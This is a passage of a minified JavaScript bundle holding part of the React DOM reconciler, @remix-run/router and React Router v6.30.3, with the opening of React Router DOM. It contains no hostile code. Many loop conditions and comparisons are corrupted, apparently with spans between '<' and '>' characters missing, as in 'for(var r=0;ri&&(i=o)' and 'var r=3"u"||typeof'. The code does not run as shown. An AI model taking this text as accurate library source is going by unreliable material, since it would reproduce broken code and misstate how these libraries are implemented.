r=e.tag;if(r===5||r===6)e=e.stateNode,t?n.insertBefore(e,t):n.appendChild(e);else if(r!==4&&(e=e.child,e!==null))for(Np(e,t,n),e=e.sibling;e!==null;)Np(e,t,n),e=e.sibling}var Et=null,Fn=!1;function ei(e,t,n){for(n=n.child;n!==null;)J5(e,t,n),n=n.sibling}function J5(e,t,n){if(ur&&typeof ur.onCommitFiberUnmount=="function")try{ur.onCommitFiberUnmount(qu,n)}catch{}switch(n.tag){case 5:Rt||Ba(n,t);case 6:var r=Et,i=Fn;Et=null,ei(e,t,n),Et=r,Fn=i,Et!==null&&(Fn?(e=Et,n=n.stateNode,e.nodeType===8?e.parentNode.removeChild(n):e.removeChild(n)):Et.removeChild(n.stateNode));break;case 18:Et!==null&&(Fn?(e=Et,n=n.stateNode,e.nodeType===8?Hf(e.parentNode,n):e.nodeType===1&&Hf(e,n),bo(e)):Hf(Et,n.stateNode));break;case 4:r=Et,i=Fn,Et=n.stateNode.containerInfo,Fn=!0,ei(e,t,n),Et=r,Fn=i;break;case 0:case 11:case 14:case 15:if(!Rt&&(r=n.updateQueue,r!==null&&(r=r.lastEffect,r!==null))){i=r=r.next;do{var s=i,o=s.destroy;s=s.tag,o!==void 0&&(s&2||s&4)&&bp(n,t,o),i=i.next}while(i!==r)}ei(e,t,n);break;case 1:if(!Rt&&(Ba(n,t),r=n.stateNode,typeof r.componentWillUnmount=="function"))try{r.props=n.memoizedProps,r.state=n.memoizedState,r.componentWillUnmount()}catch(l){nt(n,t,l)}ei(e,t,n);break;case 21:ei(e,t,n);break;case 22:n.mode&1?(Rt=(r=Rt)||n.memoizedState!==null,ei(e,t,n),Rt=r):ei(e,t,n);break;default:ei(e,t,n)}}function Og(e){var t=e.updateQueue;if(t!==null){e.updateQueue=null;var n=e.stateNode;n===null&&(n=e.stateNode=new wP),t.forEach(function(r){var i=AP.bind(null,e,r);n.has(r)||(n.add(r),r.then(i,i))})}}function In(e,t){var n=t.deletions;if(n!==null)for(var r=0;ri&&(i=o),r&=~s}if(r=i,r=at()-r,r=(120>r?120:480>r?480:1080>r?1080:1920>r?1920:3e3>r?3e3:4320>r?4320:1960*kP(r/1960))-r,10e?16:e,li===null)var r=!1;else{if(e=li,li=null,qc=0,Pe&6)throw Error(ee(331));var i=Pe;for(Pe|=4,me=e.current;me!==null;){var s=me,o=s.child;if(me.flags&16){var l=s.deletions;if(l!==null){for(var c=0;cat()-px?Zi(e,0):mx|=n),en(e,t)}function oj(e,t){t===0&&(e.mode&1?(t=El,El<<=1,!(El&130023424)&&(El=4194304)):t=1);var n=Wt();e=Or(e,t),e!==null&&(el(e,t,n),en(e,n))}function _P(e){var t=e.memoizedState,n=0;t!==null&&(n=t.retryLane),oj(e,n)}function AP(e,t){var n=0;switch(e.tag){case 13:var r=e.stateNode,i=e.memoizedState;i!==null&&(n=i.retryLane);break;case 19:r=e.stateNode;break;default:throw Error(ee(314))}r!==null&&r.delete(t),oj(e,n)}var lj;lj=function(e,t,n){if(e!==null)if(e.memoizedProps!==t.pendingProps||Qt.current)Yt=!0;else{if(!(e.lanes&n)&&!(t.flags&128))return Yt=!1,gP(e,t,n);Yt=!!(e.flags&131072)}else Yt=!1,Ke&&t.flags&1048576&&f5(t,Bc,t.index);switch(t.lanes=0,t.tag){case 2:var r=t.type;vc(e,t),e=t.pendingProps;var i=ts(t,$t.current);qa(t,n),i=ox(null,t,r,e,i,n);var s=lx();return t.flags|=1,typeof i=="object"&&i!==null&&typeof i.render=="function"&&i.$$typeof===void 0?(t.tag=1,t.memoizedState=null,t.updateQueue=null,Jt(r)?(s=!0,Rc(t)):s=!1,t.memoizedState=i.state!==null&&i.state!==void 0?i.state:null,nx(t),i.updater=nd,t.stateNode=i,i._reactInternals=t,mp(t,r,e,n),t=xp(null,t,r,!0,s,n)):(t.tag=0,Ke&&s&&qh(t),Bt(null,t,i,n),t=t.child),t;case 16:r=t.elementType;e:{switch(vc(e,t),e=t.pendingProps,i=r._init,r=i(r._payload),t.type=r,i=t.tag=TP(r),e=Bn(r,e),i){case 0:t=hp(null,t,r,e,n);break e;case 1:t=Cg(null,t,r,e,n);break e;case 11:t=zg(null,t,r,e,n);break e;case 14:t=Sg(null,t,r,Bn(r.type,e),n);break e}throw Error(ee(306,r,""))}return t;case 0:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Bn(r,i),hp(e,t,r,i,n);case 1:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Bn(r,i),Cg(e,t,r,i,n);case 3:e:{if(H5(t),e===null)throw Error(ee(387));r=t.pendingProps,s=t.memoizedState,i=s.element,g5(e,t),Uc(t,r,null,n);var o=t.memoizedState;if(r=o.element,s.isDehydrated)if(s={element:r,isDehydrated:!1,cache:o.cache,pendingSuspenseBoundaries:o.pendingSuspenseBoundaries,transitions:o.transitions},t.updateQueue.baseState=s,t.memoizedState=s,t.flags&256){i=as(Error(ee(423)),t),t=Pg(e,t,r,n,i);break e}else if(r!==i){i=as(Error(ee(424)),t),t=Pg(e,t,r,n,i);break e}else for(cn=pi(t.stateNode.containerInfo.firstChild),dn=t,Ke=!0,Wn=null,n=x5(t,null,r,n),t.child=n;n;)n.flags=n.flags&-3|4096,n=n.sibling;else{if(ns(),r===i){t=Tr(e,t,n);break e}Bt(e,t,r,n)}t=t.child}return t;case 5:return y5(t),e===null&&up(t),r=t.type,i=t.pendingProps,s=e!==null?e.memoizedProps:null,o=i.children,ap(r,i)?o=null:s!==null&&ap(r,s)&&(t.flags|=32),V5(e,t),Bt(e,t,o,n),t.child;case 6:return e===null&&up(t),null;case 13:return K5(e,t,n);case 4:return rx(t,t.stateNode.containerInfo),r=t.pendingProps,e===null?t.child=rs(t,null,r,n):Bt(e,t,r,n),t.child;case 11:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Bn(r,i),zg(e,t,r,i,n);case 7:return Bt(e,t,t.pendingProps,n),t.child;case 8:return Bt(e,t,t.pendingProps.children,n),t.child;case 12:return Bt(e,t,t.pendingProps.children,n),t.child;case 10:e:{if(r=t.type._context,i=t.pendingProps,s=t.memoizedProps,o=i.value,Be(Fc,r._currentValue),r._currentValue=o,s!==null)if(qn(s.value,o)){if(s.children===i.children&&!Qt.current){t=Tr(e,t,n);break e}}else for(s=t.child,s!==null&&(s.return=t);s!==null;){var l=s.dependencies;if(l!==null){o=s.child;for(var c=l.firstContext;c!==null;){if(c.context===r){if(s.tag===1){c=Pr(-1,n&-n),c.tag=2;var u=s.updateQueue;if(u!==null){u=u.shared;var d=u.pending;d===null?c.next=c:(c.next=d.next,d.next=c),u.pending=c}}s.lanes|=n,c=s.alternate,c!==null&&(c.lanes|=n),dp(s.return,n,t),l.lanes|=n;break}c=c.next}}else if(s.tag===10)o=s.type===t.type?null:s.child;else if(s.tag===18){if(o=s.return,o===null)throw Error(ee(341));o.lanes|=n,l=o.alternate,l!==null&&(l.lanes|=n),dp(o,n,t),o=s.sibling}else o=s.child;if(o!==null)o.return=s;else for(o=s;o!==null;){if(o===t){o=null;break}if(s=o.sibling,s!==null){s.return=o.return,o=s;break}o=o.return}s=o}Bt(e,t,i.children,n),t=t.child}return t;case 9:return i=t.type,r=t.pendingProps.children,qa(t,n),i=_n(i),r=r(i),t.flags|=1,Bt(e,t,r,n),t.child;case 14:return r=t.type,i=Bn(r,t.pendingProps),i=Bn(r.type,i),Sg(e,t,r,i,n);case 15:return W5(e,t,t.type,t.pendingProps,n);case 17:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Bn(r,i),vc(e,t),t.tag=1,Jt(r)?(e=!0,Rc(t)):e=!1,qa(t,n),$5(t,r,i),mp(t,r,i,n),xp(null,t,r,!0,e,n);case 19:return G5(e,t,n);case 22:return U5(e,t,n)}throw Error(ee(156,t.tag))};function cj(e,t){return Iw(e,t)}function OP(e,t,n,r){this.tag=e,this.key=n,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.ref=null,this.pendingProps=t,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=r,this.subtreeFlags=this.flags=0,this.deletions=null,this.childLanes=this.lanes=0,this.alternate=null}function Cn(e,t,n,r){return new OP(e,t,n,r)}function gx(e){return e=e.prototype,!(!e||!e.isReactComponent)}function TP(e){if(typeof e=="function")return gx(e)?1:0;if(e!=null){if(e=e.$$typeof,e===Dh)return 11;if(e===Rh)return 14}return 2}function gi(e,t){var n=e.alternate;return n===null?(n=Cn(e.tag,t,e.key,e.mode),n.elementType=e.elementType,n.type=e.type,n.stateNode=e.stateNode,n.alternate=e,e.alternate=n):(n.pendingProps=t,n.type=e.type,n.flags=0,n.subtreeFlags=0,n.deletions=null),n.flags=e.flags&14680064,n.childLanes=e.childLanes,n.lanes=e.lanes,n.child=e.child,n.memoizedProps=e.memoizedProps,n.memoizedState=e.memoizedState,n.updateQueue=e.updateQueue,t=e.dependencies,n.dependencies=t===null?null:{lanes:t.lanes,firstContext:t.firstContext},n.sibling=e.sibling,n.index=e.index,n.ref=e.ref,n}function bc(e,t,n,r,i,s){var o=2;if(r=e,typeof e=="function")gx(e)&&(o=1);else if(typeof e=="string")o=5;else e:switch(e){case Aa:return Qi(n.children,i,s,t);case Ih:o=8,i|=8;break;case Dm:return e=Cn(12,n,t,i|2),e.elementType=Dm,e.lanes=s,e;case Rm:return e=Cn(13,n,t,i),e.elementType=Rm,e.lanes=s,e;case $m:return e=Cn(19,n,t,i),e.elementType=$m,e.lanes=s,e;case yw:return ad(n,i,s,t);default:if(typeof e=="object"&&e!==null)switch(e.$$typeof){case vw:o=10;break e;case gw:o=9;break e;case Dh:o=11;break e;case Rh:o=14;break e;case ti:o=16,r=null;break e}throw Error(ee(130,e==null?e:typeof e,""))}return t=Cn(o,n,t,i),t.elementType=e,t.type=r,t.lanes=s,t}function Qi(e,t,n,r){return e=Cn(7,e,r,t),e.lanes=n,e}function ad(e,t,n,r){return e=Cn(22,e,r,t),e.elementType=yw,e.lanes=n,e.stateNode={isHidden:!1},e}function Jf(e,t,n){return e=Cn(6,e,null,t),e.lanes=n,e}function em(e,t,n){return t=Cn(4,e.children!==null?e.children:[],e.key,t),t.lanes=n,t.stateNode={containerInfo:e.containerInfo,pendingChildren:null,implementation:e.implementation},t}function MP(e,t,n,r,i){this.tag=t,this.containerInfo=e,this.finishedWork=this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.pendingContext=this.context=null,this.callbackPriority=0,this.eventTimes=Mf(0),this.expirationTimes=Mf(-1),this.entangledLanes=this.finishedLanes=this.mutableReadLanes=this.expiredLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=Mf(0),this.identifierPrefix=r,this.onRecoverableError=i,this.mutableSourceEagerHydrationData=null}function yx(e,t,n,r,i,s,o,l,c){return e=new MP(e,t,n,l,c),t===1?(t=1,s===!0&&(t|=8)):t=0,s=Cn(3,null,null,t),e.current=s,s.stateNode=e,s.memoizedState={element:r,isDehydrated:n,cache:null,transitions:null,pendingSuspenseBoundaries:null},nx(s),e}function LP(e,t,n){var r=3"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(mj)}catch(e){console.error(e)}}mj(),mw.exports=xn;var Nx=mw.exports,Bg=Nx;Lm.createRoot=Bg.createRoot,Lm.hydrateRoot=Bg.hydrateRoot;/** + * @remix-run/router v1.23.2 + * + * Copyright (c) Remix Software Inc. + * + * This source code is licensed under the MIT license found in the + * LICENSE.md file in the root directory of this source tree. + * + * @license MIT + */function Oo(){return Oo=Object.assign?Object.assign.bind():function(e){for(var t=1;t"u")throw new Error(t)}function kx(e,t){if(!e){typeof console<"u"&&console.warn(t);try{throw new Error(t)}catch{}}}function FP(){return Math.random().toString(36).substr(2,8)}function Wg(e,t){return{usr:e.state,key:e.key,idx:t}}function Pp(e,t,n,r){return n===void 0&&(n=null),Oo({pathname:typeof e=="string"?e:e.pathname,search:"",hash:""},typeof t=="string"?gs(t):t,{state:n,key:t&&t.key||r||FP()})}function Qc(e){let{pathname:t="/",search:n="",hash:r=""}=e;return n&&n!=="?"&&(t+=n.charAt(0)==="?"?n:"?"+n),r&&r!=="#"&&(t+=r.charAt(0)==="#"?r:"#"+r),t}function gs(e){let t={};if(e){let n=e.indexOf("#");n>=0&&(t.hash=e.substr(n),e=e.substr(0,n));let r=e.indexOf("?");r>=0&&(t.search=e.substr(r),e=e.substr(0,r)),e&&(t.pathname=e)}return t}function WP(e,t,n,r){r===void 0&&(r={});let{window:i=document.defaultView,v5Compat:s=!1}=r,o=i.history,l=ci.Pop,c=null,u=d();u==null&&(u=0,o.replaceState(Oo({},o.state,{idx:u}),""));function d(){return(o.state||{idx:null}).idx}function f(){l=ci.Pop;let y=d(),v=y==null?null:y-u;u=y,c&&c({action:l,location:g.location,delta:v})}function p(y,v){l=ci.Push;let b=Pp(g.location,y,v);u=d()+1;let w=Wg(b,u),j=g.createHref(b);try{o.pushState(w,"",j)}catch(N){if(N instanceof DOMException&&N.name==="DataCloneError")throw N;i.location.assign(j)}s&&c&&c({action:l,location:g.location,delta:1})}function h(y,v){l=ci.Replace;let b=Pp(g.location,y,v);u=d();let w=Wg(b,u),j=g.createHref(b);o.replaceState(w,"",j),s&&c&&c({action:l,location:g.location,delta:0})}function x(y){let v=i.location.origin!=="null"?i.location.origin:i.location.href,b=typeof y=="string"?y:Qc(y);return b=b.replace(/ $/,"%20"),Xe(v,"No window.location.(origin|href) available to create URL for href: "+b),new URL(b,v)}let g={get action(){return l},get location(){return e(i,o)},listen(y){if(c)throw new Error("A history only accepts one active listener");return i.addEventListener(Fg,f),c=y,()=>{i.removeEventListener(Fg,f),c=null}},createHref(y){return t(i,y)},createURL:x,encodeLocation(y){let v=x(y);return{pathname:v.pathname,search:v.search,hash:v.hash}},push:p,replace:h,go(y){return o.go(y)}};return g}var Ug;(function(e){e.data="data",e.deferred="deferred",e.redirect="redirect",e.error="error"})(Ug||(Ug={}));function UP(e,t,n){return n===void 0&&(n="/"),VP(e,t,n)}function VP(e,t,n,r){let i=typeof t=="string"?gs(t):t,s=os(i.pathname||"/",n);if(s==null)return null;let o=pj(e);HP(o);let l=null;for(let c=0;l==null&&c{let c={relativePath:l===void 0?s.path||"":l,caseSensitive:s.caseSensitive===!0,childrenIndex:o,route:s};c.relativePath.startsWith("/")&&(Xe(c.relativePath.startsWith(r),'Absolute route path "'+c.relativePath+'" nested under path '+('"'+r+'" is not valid. An absolute child route path ')+"must start with the combined path of all its parent routes."),c.relativePath=c.relativePath.slice(r.length));let u=yi([r,c.relativePath]),d=n.concat(c);s.children&&s.children.length>0&&(Xe(s.index!==!0,"Index routes must not have child routes. Please remove "+('all child routes from route path "'+u+'".')),pj(s.children,t,d,u)),!(s.path==null&&!s.index)&&t.push({path:u,score:QP(u,s.index),routesMeta:d})};return e.forEach((s,o)=>{var l;if(s.path===""||!((l=s.path)!=null&&l.includes("?")))i(s,o);else for(let c of hj(s.path))i(s,o,c)}),t}function hj(e){let t=e.split("/");if(t.length===0)return[];let[n,...r]=t,i=n.endsWith("?"),s=n.replace(/\?$/,"");if(r.length===0)return i?[s,""]:[s];let o=hj(r.join("/")),l=[];return l.push(...o.map(c=>c===""?s:[s,c].join("/"))),i&&l.push(...o),l.map(c=>e.startsWith("/")&&c===""?"/":c)}function HP(e){e.sort((t,n)=>t.score!==n.score?n.score-t.score:JP(t.routesMeta.map(r=>r.childrenIndex),n.routesMeta.map(r=>r.childrenIndex)))}const KP=/^:[\w-]+$/,GP=3,YP=2,qP=1,XP=10,ZP=-2,Vg=e=>e==="*";function QP(e,t){let n=e.split("/"),r=n.length;return n.some(Vg)&&(r+=ZP),t&&(r+=YP),n.filter(i=>!Vg(i)).reduce((i,s)=>i+(KP.test(s)?GP:s===""?qP:XP),r)}function JP(e,t){return e.length===t.length&&e.slice(0,-1).every((r,i)=>r===t[i])?e[e.length-1]-t[t.length-1]:0}function eE(e,t,n){let{routesMeta:r}=e,i={},s="/",o=[];for(let l=0;l{let{paramName:p,isOptional:h}=d;if(p==="*"){let g=l[f]||"";o=s.slice(0,s.length-g.length).replace(/(.)\/+$/,"$1")}const x=l[f];return h&&!x?u[p]=void 0:u[p]=(x||"").replace(/%2F/g,"/"),u},{}),pathname:s,pathnameBase:o,pattern:e}}function tE(e,t,n){t===void 0&&(t=!1),n===void 0&&(n=!0),kx(e==="*"||!e.endsWith("*")||e.endsWith("/*"),'Route path "'+e+'" will be treated as if it were '+('"'+e.replace(/\*$/,"/*")+'" because the `*` character must ')+"always follow a `/` in the pattern. To get rid of this warning, "+('please change the route path to "'+e.replace(/\*$/,"/*")+'".'));let r=[],i="^"+e.replace(/\/*\*?$/,"").replace(/^\/*/,"/").replace(/[\\.*+^${}|()[\]]/g,"\\$&").replace(/\/:([\w-]+)(\?)?/g,(o,l,c)=>(r.push({paramName:l,isOptional:c!=null}),c?"/?([^\\/]+)?":"/([^\\/]+)"));return e.endsWith("*")?(r.push({paramName:"*"}),i+=e==="*"||e==="/*"?"(.*)$":"(?:\\/(.+)|\\/*)$"):n?i+="\\/*$":e!==""&&e!=="/"&&(i+="(?:(?=\\/|$))"),[new RegExp(i,t?void 0:"i"),r]}function nE(e){try{return e.split("/").map(t=>decodeURIComponent(t).replace(/\//g,"%2F")).join("/")}catch(t){return kx(!1,'The URL path "'+e+'" could not be decoded because it is is a malformed URL segment. This is probably due to a bad percent '+("encoding ("+t+").")),e}}function os(e,t){if(t==="/")return e;if(!e.toLowerCase().startsWith(t.toLowerCase()))return null;let n=t.endsWith("/")?t.length-1:t.length,r=e.charAt(n);return r&&r!=="/"?null:e.slice(n)||"/"}const rE=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,iE=e=>rE.test(e);function aE(e,t){t===void 0&&(t="/");let{pathname:n,search:r="",hash:i=""}=typeof e=="string"?gs(e):e,s;if(n)if(iE(n))s=n;else{if(n.includes("//")){let o=n;n=n.replace(/\/\/+/g,"/"),kx(!1,"Pathnames cannot have embedded double slashes - normalizing "+(o+" -> "+n))}n.startsWith("/")?s=Hg(n.substring(1),"/"):s=Hg(n,t)}else s=t;return{pathname:s,search:lE(r),hash:cE(i)}}function Hg(e,t){let n=t.replace(/\/+$/,"").split("/");return e.split("/").forEach(i=>{i===".."?n.length>1&&n.pop():i!=="."&&n.push(i)}),n.length>1?n.join("/"):"/"}function tm(e,t,n,r){return"Cannot include a '"+e+"' character in a manually specified "+("`to."+t+"` field ["+JSON.stringify(r)+"]. Please separate it out to the ")+("`to."+n+"` field. Alternatively you may provide the full path as ")+'a string in and the router will parse it for you.'}function sE(e){return e.filter((t,n)=>n===0||t.route.path&&t.route.path.length>0)}function zx(e,t){let n=sE(e);return t?n.map((r,i)=>i===n.length-1?r.pathname:r.pathnameBase):n.map(r=>r.pathnameBase)}function Sx(e,t,n,r){r===void 0&&(r=!1);let i;typeof e=="string"?i=gs(e):(i=Oo({},e),Xe(!i.pathname||!i.pathname.includes("?"),tm("?","pathname","search",i)),Xe(!i.pathname||!i.pathname.includes("#"),tm("#","pathname","hash",i)),Xe(!i.search||!i.search.includes("#"),tm("#","search","hash",i)));let s=e===""||i.pathname==="",o=s?"/":i.pathname,l;if(o==null)l=n;else{let f=t.length-1;if(!r&&o.startsWith("..")){let p=o.split("/");for(;p[0]==="..";)p.shift(),f-=1;i.pathname=p.join("/")}l=f>=0?t[f]:"/"}let c=aE(i,l),u=o&&o!=="/"&&o.endsWith("/"),d=(s||o===".")&&n.endsWith("/");return!c.pathname.endsWith("/")&&(u||d)&&(c.pathname+="/"),c}const yi=e=>e.join("/").replace(/\/\/+/g,"/"),oE=e=>e.replace(/\/+$/,"").replace(/^\/*/,"/"),lE=e=>!e||e==="?"?"":e.startsWith("?")?e:"?"+e,cE=e=>!e||e==="#"?"":e.startsWith("#")?e:"#"+e;function uE(e){return e!=null&&typeof e.status=="number"&&typeof e.statusText=="string"&&typeof e.internal=="boolean"&&"data"in e}const xj=["post","put","patch","delete"];new Set(xj);const dE=["get",...xj];new Set(dE);/** + * React Router v6.30.3 + * + * Copyright (c) Remix Software Inc. + * + * This source code is licensed under the MIT license found in the + * LICENSE.md file in the root directory of this source tree. + * + * @license MIT + */function To(){return To=Object.assign?Object.assign.bind():function(e){for(var t=1;t{l.current=!0}),m.useCallback(function(u,d){if(d===void 0&&(d={}),!l.current)return;if(typeof u=="number"){r.go(u);return}let f=Sx(u,JSON.parse(o),s,d.relative==="path");e==null&&t!=="/"&&(f.pathname=f.pathname==="/"?t:yi([t,f.pathname])),(d.replace?r.replace:r.push)(f,d.state,d)},[t,r,o,s,e])}const pE=m.createContext(null);function hE(e){let t=m.useContext(hr).outlet;return t&&m.createElement(pE.Provider,{value:e},t)}function il(){let{matches:e}=m.useContext(hr),t=e[e.length-1];return t?t.params:{}}function fd(e,t){let{relative:n}=t===void 0?{}:t,{future:r}=m.useContext(Vr),{matches:i}=m.useContext(hr),{pathname:s}=ga(),o=JSON.stringify(zx(i,r.v7_relativeSplatPath));return m.useMemo(()=>Sx(e,JSON.parse(o),s,n==="path"),[e,o,s,n])}function xE(e,t){return vE(e,t)}function vE(e,t,n,r){ys()||Xe(!1);let{navigator:i}=m.useContext(Vr),{matches:s}=m.useContext(hr),o=s[s.length-1],l=o?o.params:{};o&&o.pathname;let c=o?o.pathnameBase:"/";o&&o.route;let u=ga(),d;if(t){var f;let y=typeof t=="string"?gs(t):t;c==="/"||(f=y.pathname)!=null&&f.startsWith(c)||Xe(!1),d=y}else d=u;let p=d.pathname||"/",h=p;if(c!=="/"){let y=c.replace(/^\//,"").split("/");h="/"+p.replace(/^\//,"").split("/").slice(y.length).join("/")}let x=UP(e,{pathname:h}),g=jE(x&&x.map(y=>Object.assign({},y,{params:Object.assign({},l,y.params),pathname:yi([c,i.encodeLocation?i.encodeLocation(y.pathname).pathname:y.pathname]),pathnameBase:y.pathnameBase==="/"?c:yi([c,i.encodeLocation?i.encodeLocation(y.pathnameBase).pathname:y.pathnameBase])})),s,n,r);return t&&g?m.createElement(dd.Provider,{value:{location:To({pathname:"/",search:"",hash:"",state:null,key:"default"},d),navigationType:ci.Pop}},g):g}function gE(){let e=SE(),t=uE(e)?e.status+" "+e.statusText:e instanceof Error?e.message:JSON.stringify(e),n=e instanceof Error?e.stack:null,i={padding:"0.5rem",backgroundColor:"rgba(200,200,200, 0.5)"};return m.createElement(m.Fragment,null,m.createElement("h2",null,"Unexpected Application Error!"),m.createElement("h3",{style:{fontStyle:"italic"}},t),n?m.createElement("pre",{style:i},n):null,null)}const yE=m.createElement(gE,null);class bE extends m.Component{constructor(t){super(t),this.state={location:t.location,revalidation:t.revalidation,error:t.error}}static getDerivedStateFromError(t){return{error:t}}static getDerivedStateFromProps(t,n){return n.location!==t.location||n.revalidation!=="idle"&&t.revalidation==="idle"?{error:t.error,location:t.location,revalidation:t.revalidation}:{error:t.error!==void 0?t.error:n.error,location:n.location,revalidation:t.revalidation||n.revalidation}}componentDidCatch(t,n){console.error("React Router caught the following error during render",t,n)}render(){return this.state.error!==void 0?m.createElement(hr.Provider,{value:this.props.routeContext},m.createElement(gj.Provider,{value:this.state.error,children:this.props.component})):this.props.children}}function wE(e){let{routeContext:t,match:n,children:r}=e,i=m.useContext(ud);return i&&i.static&&i.staticContext&&(n.route.errorElement||n.route.ErrorBoundary)&&(i.staticContext._deepestRenderedBoundaryId=n.route.id),m.createElement(hr.Provider,{value:t},r)}function jE(e,t,n,r){var i;if(t===void 0&&(t=[]),n===void 0&&(n=null),r===void 0&&(r=null),e==null){var s;if(!n)return null;if(n.errors)e=n.matches;else if((s=r)!=null&&s.v7_partialHydration&&t.length===0&&!n.initialized&&n.matches.length>0)e=n.matches;else return null}let o=e,l=(i=n)==null?void 0:i.errors;if(l!=null){let d=o.findIndex(f=>f.route.id&&(l==null?void 0:l[f.route.id])!==void 0);d>=0||Xe(!1),o=o.slice(0,Math.min(o.length,d+1))}let c=!1,u=-1;if(n&&r&&r.v7_partialHydration)for(let d=0;d=0?o=o.slice(0,u+1):o=[o[0]];break}}}return o.reduceRight((d,f,p)=>{let h,x=!1,g=null,y=null;n&&(h=l&&f.route.id?l[f.route.id]:void 0,g=f.route.errorElement||yE,c&&(u<0&&p===0?(PE("route-fallback"),x=!0,y=null):u===p&&(x=!0,y=f.route.hydrateFallbackElement||null)));let v=t.concat(o.slice(0,p+1)),b=()=>{let w;return h?w=g:x?w=y:f.route.Component?w=m.createElement(f.route.Component,null):f.route.element?w=f.route.element:w=d,m.createElement(wE,{match:f,routeContext:{outlet:d,matches:v,isDataRoute:n!=null},children:w})};return n&&(f.route.ErrorBoundary||f.route.errorElement||p===0)?m.createElement(bE,{location:n.location,revalidation:n.revalidation,component:g,error:h,children:b(),routeContext:{outlet:null,matches:v,isDataRoute:!0}}):b()},null)}var bj=function(e){return e.UseBlocker="useBlocker",e.UseRevalidator="useRevalidator",e.UseNavigateStable="useNavigate",e}(bj||{}),wj=function(e){return e.UseBlocker="useBlocker",e.UseLoaderData="useLoaderData",e.UseActionData="useActionData",e.UseRouteError="useRouteError",e.UseNavigation="useNavigation",e.UseRouteLoaderData="useRouteLoaderData",e.UseMatches="useMatches",e.UseRevalidator="useRevalidator",e.UseNavigateStable="useNavigate",e.UseRouteId="useRouteId",e}(wj||{});function NE(e){let t=m.useContext(ud);return t||Xe(!1),t}function kE(e){let t=m.useContext(vj);return t||Xe(!1),t}function zE(e){let t=m.useContext(hr);return t||Xe(!1),t}function jj(e){let t=zE(),n=t.matches[t.matches.length-1];return n.route.id||Xe(!1),n.route.id}function SE(){var e;let t=m.useContext(gj),n=kE(),r=jj();return t!==void 0?t:(e=n.errors)==null?void 0:e[r]}function CE(){let{router:e}=NE(bj.UseNavigateStable),t=jj(wj.UseNavigateStable),n=m.useRef(!1);return yj(()=>{n.current=!0}),m.useCallback(function(i,s){s===void 0&&(s={}),n.current&&(typeof i=="number"?e.navigate(i):e.navigate(i,To({fromRouteId:t},s)))},[e,t])}const Kg={};function PE(e,t,n){Kg[e]||(Kg[e]=!0)}function EE(e,t){e==null||e.v7_startTransition,e==null||e.v7_relativeSplatPath}function la(e){let{to:t,replace:n,state:r,relative:i}=e;ys()||Xe(!1);let{future:s,static:o}=m.useContext(Vr),{matches:l}=m.useContext(hr),{pathname:c}=ga(),u=xr(),d=Sx(t,zx(l,s.v7_relativeSplatPath),c,i==="path"),f=JSON.stringify(d);return m.useEffect(()=>u(JSON.parse(f),{replace:n,state:r,relative:i}),[u,f,i,n,r]),null}function _E(e){return hE(e.context)}function mt(e){Xe(!1)}function AE(e){let{basename:t="/",children:n=null,location:r,navigationType:i=ci.Pop,navigator:s,static:o=!1,future:l}=e;ys()&&Xe(!1);let c=t.replace(/^\/*/,"/"),u=m.useMemo(()=>({basename:c,navigator:s,static:o,future:To({v7_relativeSplatPath:!1},l)}),[c,l,s,o]);typeof r=="string"&&(r=gs(r));let{pathname:d="/",search:f="",hash:p="",state:h=null,key:x="default"}=r,g=m.useMemo(()=>{let y=os(d,c);return y==null?null:{location:{pathname:y,search:f,hash:p,state:h,key:x},navigationType:i}},[c,d,f,p,h,x,i]);return g==null?null:m.createElement(Vr.Provider,{value:u},m.createElement(dd.Provider,{children:n,value:g}))}function OE(e){let{children:t,location:n}=e;return xE(_p(t),n)}new Promise(()=>{});function _p(e,t){t===void 0&&(t=[]);let n=[];return m.Children.forEach(e,(r,i)=>{if(!m.isValidElement(r))return;let s=[...t,i];if(r.type===m.Fragment){n.push.apply(n,_p(r.props.children,s));return}r.type!==mt&&Xe(!1),!r.props.index||!r.props.children||Xe(!1);let o={id:r.props.id||s.join("-"),caseSensitive:r.props.caseSensitive,element:r.props.element,Component:r.props.Component,index:r.props.index,path:r.props.path,loader:r.props.loader,action:r.props.action,errorElement:r.props.errorElement,ErrorBoundary:r.props.ErrorBoundary,hasErrorBoundary:r.props.ErrorBoundary!=null||r.props.errorElement!=null,shouldRevalidate:r.props.shouldRevalidate,handle:r.props.handle,lazy:r.props.lazy};r.props.children&&(o.children=_p(r.props.children,s)),n.push(o)}),n}/** + * React Router DOM v6.30.3 + * + * Copyright (c) Remix Software Inc. + * + * This source code is licensed under the MIT license found in the + * LICENSE.md file in the root directory of this source tree. + * + * @license MIT + */function Jc(){return Jc=Object.assign?Object.assign.bind():function(e){for(var t=1;t=0)&&(n[i]=e[i]);return n}function TE(e){return!!(e.metaKey||e.altKey||e.ctrlKey||e.shiftKey)}function ME(e,t){return e.button===0&&(!t||t==="_self")&&!TE(e)}function Ap(e){return e===void 0&&(e=""),new URLSearchParams(typeof e=="string"||Array.isArray(e)||e instanceof URLSearchParams?e:Object.keys(e).reduce((t,n)=>{let r=e[n];return t.concat(Array.isArray(r)?r.map(i=>[n,i]):[[n,r]])},[]))}function LE(e,t){let n=Ap(e);return t&&t.forEach((r,i)=>{n.has(i)||t.getAll(i).forEach(s=>{n.append(i,s)})}),n}const IE=["onClick","relative","reloadDocument","replace","state","target","to","preventScrollReset","viewTransition"],DE=["aria-current","caseSensitive","className","end","style","to","viewTransition","children"],RE="6";try{window.__reactRouterVersion=RE}catch{}const $E=m.createContext({isTransitioning:!1}),BE="startTransition",Gg=dw[BE];function FE(e){let{basename:t,children:n,future:r,window:i}=e,s=m.useRef();s.current==null&&(s.current=BP({window:i,v5Compat:!0}));let o=s.current,[l,c]=m.useState({action:o.action,location:o.location}),{v7_startTransition:u}=r||{},d=m.useCallback(f=>{u&&Gg?Gg(()=>c(f)):c(f)},[c,u]);return 